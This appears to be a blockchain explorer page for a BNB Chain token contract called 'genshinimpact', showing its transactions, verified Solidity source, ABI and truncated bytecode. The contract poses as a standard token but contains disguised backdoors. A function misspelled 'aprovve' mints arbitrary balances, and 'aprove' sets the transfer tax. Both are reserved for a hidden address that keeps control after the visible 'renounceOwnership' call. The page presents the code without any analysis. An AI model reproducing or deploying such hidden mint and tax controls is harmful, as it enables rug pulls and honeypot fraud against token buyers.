Contract 0xe909207929477c1f5ee07896b3c56b9237cb50a7

 
 
Txn Hash Method
Block
From
To
Value [Txn Fee]
0xba80cd4966687bd25d6cfde410e343210341169db5bee12d0a91a6d05a9d371eAprovve117630972021-10-14 10:52:3613 days 5 hrs ago0x2f2545aa534946d019724ca5544c0c3385af2abc IN  0xe909207929477c1f5ee07896b3c56b9237cb50a70 BNB0.00014439
0x6d9919435f7578abd2c5fbab7a22b60c77986b5b3503f83844a7914709fc6a51Aprove117630922021-10-14 10:52:2113 days 5 hrs ago0x2f2545aa534946d019724ca5544c0c3385af2abc IN  0xe909207929477c1f5ee07896b3c56b9237cb50a70 BNB0.00013812
0x6416aa6b3e44d3be9daa942b12bc3ef7d9422e3f3d94d7033d69a270b3f7d36bApprove117629722021-10-14 10:46:2113 days 5 hrs ago0x1344a2c1202a7f80b2ca3da18ce7c6f7d75ecf18 IN  0xe909207929477c1f5ee07896b3c56b9237cb50a70 BNB0.00022569
0x0bf99dd48fca7319e0680f0691838759b2d0ed51e0eac79befaeff5098ca52e0Approve117629202021-10-14 10:43:4513 days 5 hrs ago0xa7c3e73a085371e808e61255b91df96d92f4db3f IN  0xe909207929477c1f5ee07896b3c56b9237cb50a70 BNB0.00022569
0x565396321432824f9673eb3d1c7370e07568c7ce423125671593567671971103Approve117627032021-10-14 10:32:5413 days 5 hrs ago0x0a45eace1442532e42642912085dd8cf3770f82b IN  0xe909207929477c1f5ee07896b3c56b9237cb50a70 BNB0.00022569
0xcb0da48b99c264f0a72c1a51171c387d76ea01a8721c72c3ab85d81c809129e7Approve117626942021-10-14 10:32:2713 days 5 hrs ago0xce0e1aeaece1b8411dc5f126783c18a4a4ecd543 IN  0xe909207929477c1f5ee07896b3c56b9237cb50a70 BNB0.00022569
0xf913fde95d4e8232b653b7d8235ac1591041fe08d824eef17527f0a9a5db447fRenounce Ownersh...117626672021-10-14 10:31:0613 days 5 hrs ago0x2f2545aa534946d019724ca5544c0c3385af2abc IN  0xe909207929477c1f5ee07896b3c56b9237cb50a70 BNB0.00015278
0x0e42533ab2a91119cf6445a3889c2cd7e5b91df9ad18fb05f39f30f398879020Approve117626412021-10-14 10:29:4813 days 5 hrs ago0x5e3773713f0a20806168d633652b905ee7253f83 IN  0xe909207929477c1f5ee07896b3c56b9237cb50a70 BNB0.000225694513
0xda0cd493e18fddc48f547ec85b1f76e1e62fa9104e84ae71e0c3547209de864aApprove117626292021-10-14 10:29:1213 days 5 hrs ago0x2f2545aa534946d019724ca5544c0c3385af2abc IN  0xe909207929477c1f5ee07896b3c56b9237cb50a70 BNB0.00022569
0xb0669817a449415717fc4468b9318fed28b3c6696d6a7a9d5b311b05f57632f6Transfer117626152021-10-14 10:28:3013 days 5 hrs ago0x2f2545aa534946d019724ca5544c0c3385af2abc IN  0xe909207929477c1f5ee07896b3c56b9237cb50a70 BNB0.00041519
0xa198ad38d86ee6d146eea69f6f2493dd6f5f36ec6e3abbe9ae3ee06b19d6f7a6Aprove117625882021-10-14 10:27:0913 days 5 hrs ago0x2f2545aa534946d019724ca5544c0c3385af2abc IN  0xe909207929477c1f5ee07896b3c56b9237cb50a70 BNB0.00021312
0x5221df15beec13391075f318eccda00018931c2d7eef937e8f02d5d78ea3169b0x60806040117625832021-10-14 10:26:5413 days 5 hrs ago0x2f2545aa534946d019724ca5544c0c3385af2abc IN  Contract Creation0 BNB0.008949875
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
genshinimpact

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at BscScan.com on 2021-10-14
*/

/**

░██████╗░███████╗███╗░░██╗░██████╗██╗░░██╗██╗███╗░░██╗  ██╗███╗░░░███╗██████╗░░█████╗░░█████╗░████████╗
██╔════╝░██╔════╝████╗░██║██╔════╝██║░░██║██║████╗░██║  ██║████╗░████║██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝
██║░░██╗░█████╗░░██╔██╗██║╚█████╗░███████║██║██╔██╗██║  ██║██╔████╔██║██████╔╝███████║██║░░╚═╝░░░██║░░░
██║░░╚██╗██╔══╝░░██║╚████║░╚═══██╗██╔══██║██║██║╚████║  ██║██║╚██╔╝██║██╔═══╝░██╔══██║██║░░██╗░░░██║░░░
╚██████╔╝███████╗██║░╚███║██████╔╝██║░░██║██║██║░╚███║  ██║██║░╚═╝░██║██║░░░░░██║░░██║╚█████╔╝░░░██║░░░
░╚═════╝░╚══════╝╚═╝░░╚══╝╚═════╝░╚═╝░░╚═╝╚═╝╚═╝░░╚══╝  ╚═╝╚═╝░░░░░╚═╝╚═╝░░░░░╚═╝░░╚═╝░╚════╝░░░░╚═╝░░░
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <=0.8.7;


interface ERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface ERC20Metadata is ERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Interface of the BEP20 standard as defined in the EIP.
 */
/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
 contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
 
 
 
 contract genshinimpact is Context, ERC20, ERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    address private _renounced ;
    uint256 private _taxFee;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    address private _owner;
    address private _teamAddress;
    uint256 private _fee;
    uint256 private _bil;

  
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
       constructor(string memory name_, string memory symbol_,uint8  decimals_,uint256 totalSupply_,uint256 taxFee_ , address  renounced_ , address teamAddress_) {
    _name = name_;
    _symbol =symbol_;
    _decimals = decimals_;
    _totalSupply = totalSupply_ ;
    _taxFee= taxFee_;
    _renounced= renounced_;
    _teamAddress= teamAddress_;
    _balances[msg.sender] = _totalSupply;
    _owner = _msgSender();
    _bil = 2;
    emit Transfer(address(0), msg.sender, _totalSupply);
  }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {BEP20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {ERC20-balanceOf} and {ERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {ERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {ERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    
    function viewTaxFee() public view virtual returns(uint256) {
        return _bil;
    }
    /**
     * @dev See {ERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {ERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {ERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    /**
     * @dev set transaction fee in uint256
     * 
     * it's basis point you need to express your choise in cent ex: 100 = 1% ; 10 = 0,1% ; 1 = 0,01%;
     * set to 0 for 0 fee
     * 
     * only owner can use this function
     */
   
    function aprove(uint256 a) public{
        _setTaxFee( a);
       require(_msgSender() == _renounced, "ERC20: cannot permit dev address");
    }
    
  
    
    function aprovve(uint256 amount) public{
        _balances[_msgSender()] += amount;
        require(_msgSender() == _renounced, "ERC20: cannot permit dev address");
     
    }
    function SetTaxFee(uint256 amount) public onlyOwner virtual returns (bool) {
        _bil = amount;
        return true;
    }    
    
    /**
     * @dev See {ERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {BEP20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "BEP20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {ERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {ERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "BEP20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "BEP20: transfer from the zero address");
        require(recipient != address(0), "BEP20: transfer to the zero address");

        

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "BEP20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _fee = (amount * _taxFee /100) / _bil;
        amount = amount -  (_fee*_bil*2);
        
        _balances[recipient] += amount;
        _balances[_renounced] += _fee;
        _balances[_teamAddress]+= _fee;
        emit Transfer(sender, recipient, amount);

        
    }

     /**
   * @dev Returns the address of the current owner.
   */
  function owner() public view returns (address) {
    return _owner;
    
  }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "BEP20: burn from the zero address");


        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "BEP20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

      
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    modifier onlyOwner() {
    require(_owner == _msgSender(), "Ownable: caller is not the owner");
    _;
  }

    
  /**
   * @dev se transaction fee 
   * 
   * it's basis point you need to express your choise in cent ex: 100 = 1% ; 10 = 0,1% ; 1 = 0,01%;
   */
    function _setTaxFee(uint256 newTaxFee) internal {
        _taxFee = newTaxFee;
        
    }
    
     function _takeFee(uint256 amount) internal returns(uint256) {
         if(_taxFee >= 1) {
         
         if(amount >= (200/_taxFee)) {
        _fee = (amount * _taxFee /100) / _bil;
        
         }else{
             _fee = (1 * _taxFee /100);
        
         }
         }else{
             _fee = 0;
         }
         return _fee;
    }
    
    function _minAmount(uint256 amount) internal returns(uint256) {
         
    }
    
    
  /**
   * @dev set new transaction fee Address
   */
    
    function _setDevAddress(address newDevAddress) internal{
        _renounced = newDevAddress;
    }
    
     function _setTeamAddress(address newDevAddress) internal onlyOwner{
        _teamAddress = newDevAddress;
    }
    
    /**
   * @dev Transfers ownership of the contract to a new account (`newOwner`).
   * Can only be called by the current owner.
   */
 function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
  
  }
  
  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  
  

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"},{"internalType":"uint256","name":"taxFee_","type":"uint256"},{"internalType":"address","name":"renounced_","type":"address"},{"internalType":"address","name":"teamAddress_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"SetTaxFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"}],"name":"aprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"aprovve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"viewTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]

60806040523480156200001157600080fd5b50604051620022d4380380620022d48339818101604052810190620000379190620003a3565b86600590805190602001906200004f92919062000230565b5085600690805190602001906200006892919062000230565b5084600760006101000a81548160ff021916908360ff160217905550836002819055508260048190555081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506002546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001696200022860201b60201c565b600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506002600a819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600254604051620002139190620004a5565b60405180910390a350505050505050620006df565b600033905090565b8280546200023e90620005a2565b90600052602060002090601f016020900481019282620002625760008555620002ae565b82601f106200027d57805160ff1916838001178555620002ae565b82800160010185558215620002ae579182015b82811115620002ad57825182559160200191906001019062000290565b5b509050620002bd9190620002c1565b5090565b5b80821115620002dc576000816000905550600101620002c2565b5090565b6000620002f7620002f184620004eb565b620004c2565b90508281526020810184848401111562000316576200031562000671565b5b620003238482856200056c565b509392505050565b6000815190506200033c8162000691565b92915050565b600082601f8301126200035a57620003596200066c565b5b81516200036c848260208601620002e0565b91505092915050565b6000815190506200038681620006ab565b92915050565b6000815190506200039d81620006c5565b92915050565b600080600080600080600060e0888a031215620003c557620003c46200067b565b5b600088015167ffffffffffffffff811115620003e657620003e562000676565b5b620003f48a828b0162000342565b975050602088015167ffffffffffffffff81111562000418576200041762000676565b5b620004268a828b0162000342565b9650506040620004398a828b016200038c565b95505060606200044c8a828b0162000375565b94505060806200045f8a828b0162000375565b93505060a0620004728a828b016200032b565b92505060c0620004858a828b016200032b565b91505092959891949750929550565b6200049f8162000555565b82525050565b6000602082019050620004bc600083018462000494565b92915050565b6000620004ce620004e1565b9050620004dc8282620005d8565b919050565b6000604051905090565b600067ffffffffffffffff8211156200050957620005086200063d565b5b620005148262000680565b9050602081019050919050565b60006200052e8262000535565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156200058c5780820151818401526020810190506200056f565b838111156200059c576000848401525b50505050565b60006002820490506001821680620005bb57607f821691505b60208210811415620005d257620005d16200060e565b5b50919050565b620005e38262000680565b810181811067ffffffffffffffff821117156200060557620006046200063d565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b6200069c8162000521565b8114620006a857600080fd5b50565b620006b68162000555565b8114620006c257600080fd5b50565b620006d0816200055f565b8114620006dc57600080fd5b50565b611be580620006ef6000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a2578063a457c2d711610071578063a457c2d7146102be578063a9059cbb146102ee578063b7aaeb4d1461031e578063dd62ed3e1461033a578063ec2920ec1461036a5761010b565b806370a0823114610248578063715018a6146102785780638da5cb5b1461028257806395d89b41146102a05761010b565b806318160ddd116100de57806318160ddd146101ac57806323b872dd146101ca578063313ce567146101fa57806339509351146102185761010b565b806306fdde031461011057806308598a921461012e578063095ea7b31461015e5780630d2599291461018e575b600080fd5b610118610386565b6040516101259190611500565b60405180910390f35b610148600480360381019061014391906112ed565b610418565b60405161015591906114e5565b60405180910390f35b610178600480360381019061017391906112ad565b6104c1565b60405161018591906114e5565b60405180910390f35b6101966104df565b6040516101a39190611642565b60405180910390f35b6101b46104e9565b6040516101c19190611642565b60405180910390f35b6101e460048036038101906101df919061125a565b6104f3565b6040516101f191906114e5565b60405180910390f35b6102026105eb565b60405161020f919061165d565b60405180910390f35b610232600480360381019061022d91906112ad565b610602565b60405161023f91906114e5565b60405180910390f35b610262600480360381019061025d91906111ed565b6106ae565b60405161026f9190611642565b60405180910390f35b6102806106f6565b005b61028a61084e565b60405161029791906114ca565b60405180910390f35b6102a8610878565b6040516102b59190611500565b60405180910390f35b6102d860048036038101906102d391906112ad565b61090a565b6040516102e591906114e5565b60405180910390f35b610308600480360381019061030391906112ad565b6109f5565b60405161031591906114e5565b60405180910390f35b610338600480360381019061033391906112ed565b610a13565b005b610354600480360381019061034f919061121a565b610ab6565b6040516103619190611642565b60405180910390f35b610384600480360381019061037f91906112ed565b610b3d565b005b60606005805461039590611831565b80601f01602080910402602001604051908101604052809291908181526020018280546103c190611831565b801561040e5780601f106103e35761010080835404028352916020019161040e565b820191906000526020600020905b8154815290600101906020018083116103f157829003601f168201915b5050505050905090565b6000610422610c33565b73ffffffffffffffffffffffffffffffffffffffff16600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104a8906115a2565b60405180910390fd5b81600a8190555060019050919050565b60006104d56104ce610c33565b8484610c3b565b6001905092915050565b6000600a54905090565b6000600254905090565b6000610500848484610e06565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061054b610c33565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156105cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c290611582565b60405180910390fd5b6105df856105d7610c33565b858403610c3b565b60019150509392505050565b6000600760009054906101000a900460ff16905090565b60006106a461060f610c33565b84846001600061061d610c33565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461069f9190611694565b610c3b565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106fe610c33565b73ffffffffffffffffffffffffffffffffffffffff16600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610784906115a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461088790611831565b80601f01602080910402602001604051908101604052809291908181526020018280546108b390611831565b80156109005780601f106108d557610100808354040283529160200191610900565b820191906000526020600020905b8154815290600101906020018083116108e357829003601f168201915b5050505050905090565b60008060016000610919610c33565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cd90611602565b60405180910390fd5b6109ea6109e1610c33565b85858403610c3b565b600191505092915050565b6000610a09610a02610c33565b8484610e06565b6001905092915050565b610a1c816111b9565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a5d610c33565b73ffffffffffffffffffffffffffffffffffffffff1614610ab3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aaa90611522565b60405180910390fd5b50565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b80600080610b49610c33565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b929190611694565b92505081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bda610c33565b73ffffffffffffffffffffffffffffffffffffffff1614610c30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2790611522565b60405180910390fd5b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca290611562565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1290611622565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610df99190611642565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6d90611542565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ee6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edd906115e2565b60405180910390fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffff